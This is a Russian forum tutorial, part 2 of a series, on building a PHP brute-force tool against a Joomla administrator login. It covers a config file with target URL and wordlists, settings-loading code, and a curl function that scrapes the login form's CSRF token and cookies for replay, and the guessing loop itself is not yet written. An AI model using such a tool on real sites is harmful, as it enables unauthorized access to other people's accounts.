• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Пишем простой брутфорс на PHP / Часть 2

Пишем простой брутфорс на PHP / Часть 2

Первая часть тут.

И так, продолжу с того, что еще раз покажу и прокоментирую файлик options.ini (он немного изменен после 1-ой части).

Код:
; url
url = 'http://joomla/administrator/index.php';

; logins
logins = 'logins.txt'

; wordlist
wordlist = 'passwords.txt'

; more info
more_info = 1

; error message
error_message = 'Имя пользователя и пароль не совпадают'

; threads
threads = 1;

; path for temp cookie file
cookie = 'cookie.txt'

; token
token = 'token.txt'

; timeout
timeout = 15

; found
found = 'found.txt'

; error
errorfile = 'errorsAttempt.txt'

; useragents
useragents = 'useragents.txt'

Пошли по порядку сверху вниз.
url - ссылка на страницу, которая принимает параметры авторизации, её можно посмотреть в свойстве action тега form '
logins - название файла с логинами, там логины записаны с новой строки, файл должен лежить рядом с нашим cheker.php
wordlist - собственно файл с пароля, должен лежать возле файла с логинами
more_info - эта функция показывает дополнительную информацию, такую как url, сколько логинов и паролей загружено, сколько будет попыток авторизации, версию PHP и т.п., если 0 то показано не будет
error_message - это то сообщение, которое дает нам знать, что пара логин/пароль не верная, вынес сюда чтоб удобней было менять если другой язык
threads - кодичество потоков, пока не реализовано, хотя есть в планах
cookie - этот файл трогать не нужно, он создается автоматически в папке tmp и чиститься при новом запуске
token - этот файл также как и cookie трогать не нужно, это токен, который генерится на странице и подставляется на момент перебора пароля
timeout - при медленном интернете или слабом сервере этот параметр может пригодится
found - сюда будет сохранятся найденная пара логин/пароль, файл трогать не нужно, содается автоматически в корне
errorfile - это имя файла, в которое будут записыватся неудачные попытки авторизации (при ошибках HTTP), также трогать не нужно, это больше для отладки
useragents - также пока не реализовано, предположительно будет массив юзерагентов.

Затем достаем настройки из файла

PHP:
// INITIALIZE
$data = file_exists('options.ini') ? parse_ini_file("options.ini") : null;
if($data === null) exit('Configuration file is not founded :(. Create options.ini in ' . __DIR__);
define('URL', $data['url']);
define('COOKIE', __DIR__ . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR . $data['cookie']);
define('TOKEN', __DIR__ . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR . $data['token']);
define('TIMEOUT', $data['timeout']);
$logins = file_exists($data['logins']) ? file($data['logins'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : 'File logins not exists';
$passwords = file_exists($data['wordlist']) ? file($data['wordlist'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : 'File wordlist not exists';
if($logins == 'File login not exists') exit(PHP_EOL . $logins);
if($passwords == 'File wordlist not exists') exit(PHP_EOL . $passwords);
define('NUMBER_OF_LOGINS', count($logins));
define('NUMBER_OF_PASSWORDS', count($passwords));
define('POSSIBLES', NUMBER_OF_LOGINS * NUMBER_OF_PASSWORDS);
$userAgents = file($data['useragents'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); // TODO
define('NUMBER_OF_USERAGENTS', count($userAgents));
define('FOUNDFILE', $data['found']);
define('ERRORFILE', $data['errorfile']);
define('ERROR_MESSAGE', $data['error_message']);

Создадим для удобства функцию, которая будет выводит дополнительную информацию о текущем запуске, если поставить в опции more_info = 0 тогда отрабатывать она не будет

PHP:
function present($data) {
    echo 'Hello friend'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1);
    echo PHP_EOL . '/================================= LOADED SETTINGS =================================\\' . PHP_EOL;
    foreach($data as $key => $value) {
        echo '|> ' . $key . ' => ' . $value . PHP_EOL;
    }
    echo '|> your php version => ' . phpversion() . PHP_EOL;
    echo '|> logins loaded => ' . NUMBER_OF_LOGINS . PHP_EOL;
    echo '|> passwords loaded => ' . NUMBER_OF_PASSWORDS . PHP_EOL;
    echo '|> useragents loaded => ' . NUMBER_OF_USERAGENTS . PHP_EOL;
    echo '|> possibles => ' . POSSIBLES . PHP_EOL;
    echo '\===================================================================================/' . PHP_EOL . PHP_EOL;
    echo PHP_EOL . 'Starting'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1) . PHP_EOL . PHP_EOL . "\n";
}
// for present programm
if($data['more_info']) present($data);

При запуске получим такое представление

Код:
D:\fs\php\checker>php checker.php
=================================================================================================================
Curl is loaded.
Mbstring is loaded.
Starting programm...
Cleaning temp directory... Temp dir is clean!
Hello friend...
/================================= LOADED SETTINGS =================================\
|> url => http://joomla/administrator/index.php
|> logins => logins.txt
|> wordlist => yandex_713k.txt
|> more_info => 1
|> error_message => Ім’я користувaча та пароль не відповідають один одному
|> threads => 1
|> cookie => cookie.txt
|> token => token.txt
|> timeout => 30
|> found => found.txt
|> errorfile => errorsAttempt.txt
|> useragents => useragents.txt
|> your php version => 7.1.5
|> logins loaded => 1
|> passwords loaded => 713345
|> useragents loaded => 135
|> possibles => 713345
\===================================================================================/

Starting...

Приступим к форме.
Посмотрим как выглядит форма авторизации (Joomla 1.15)

HTML:
<form action="index.php" method="post" name="login" id="form-login" style="clear: both;">
<p id="form-login-username">
    <label for="modlgn_username">Логин</label>
    <input name="username" id="modlgn_username" type="text" class="inputbox" size="15" />
</p>
<p id="form-login-password">
    <label for="modlgn_passwd">Пароль</label>
    <input name="passwd" id="modlgn_passwd" type="password" class="inputbox" size="15" />
</p>
    <p id="form-login-lang" style="clear: both;">
    <label for="lang">Язык</label>
    <select name="lang" id="lang"  class="inputbox"><option value=""  selected="selected">По умолчанию</option><option value="en-GB" >English (United Kingdom)</option><option value="ru-RU" >Russian (CIS)</option></select>    </p>
<div class="button_holder">
<div class="button1">
    <div class="next">
        <a onclick="login.submit();">
            Войти</a>
    </div>
</div>
</div>
<div class="clr"></div>
<input type="submit" style="border: 0; padding: 0; margin: 0; width: 0px; height: 0px;" value="Войти" />
<input type="hidden" name="option" value="com_login" />
<input type="hidden" name="task" value="login" />
<input type="hidden" name="9bc3a5cd809ccf1ac899dadc1224d67f" value="1" /></form>

Нас интересуют следующие поля, login, passwd, option, task и последнее поле с длинным именем (9bc3a5cd809ccf1ac899dadc1224d67f).
Как раз это имя и есть токен, который генерируется при загрузке страницы.

Исходя из этого, нам нужно сначала получить этот токен, сохранить его в файл, чтобы потом подставлять.
Подключим библиотеку и положим ее в папку shdp в корне
PHP:
require_once __DIR__ . DIRECTORY_SEPARATOR . 'shdp'. DIRECTORY_SEPARATOR . 'simple_html_dom.php';

Далее создадим следующую функцию, которая будет брать токен с формы, куки и сохранять их в файлы, имена которых указаны в options.ini

PHP:
function getTempData() {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_COOKIEJAR, COOKIE);
    curl_setopt($ch, CURLOPT_URL, URL);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
    $out = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if($http_code === 200) {
        $html = new simple_html_dom();
        $html->load($out);
        $elem = $html->find("input[type=hidden]");
        $exp_elem = explode("\"", $elem[2]);
        $token = $exp_elem[3];
        file_put_contents(TOKEN, $token);
        return true;
    } else if($http_code === 0) {
        exit('Error in get temp data function, http code is ' . $http_code);
    }
    exit('Error in get temp data');
}

На данный момент пока всё, сейчас работаю над тем как организовать цикл перебора.
По окончанию серии статей, исходники выложу.

Буду благодарен за конструктивную критику более опытных разработчиков.

Спасибо за внимание.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!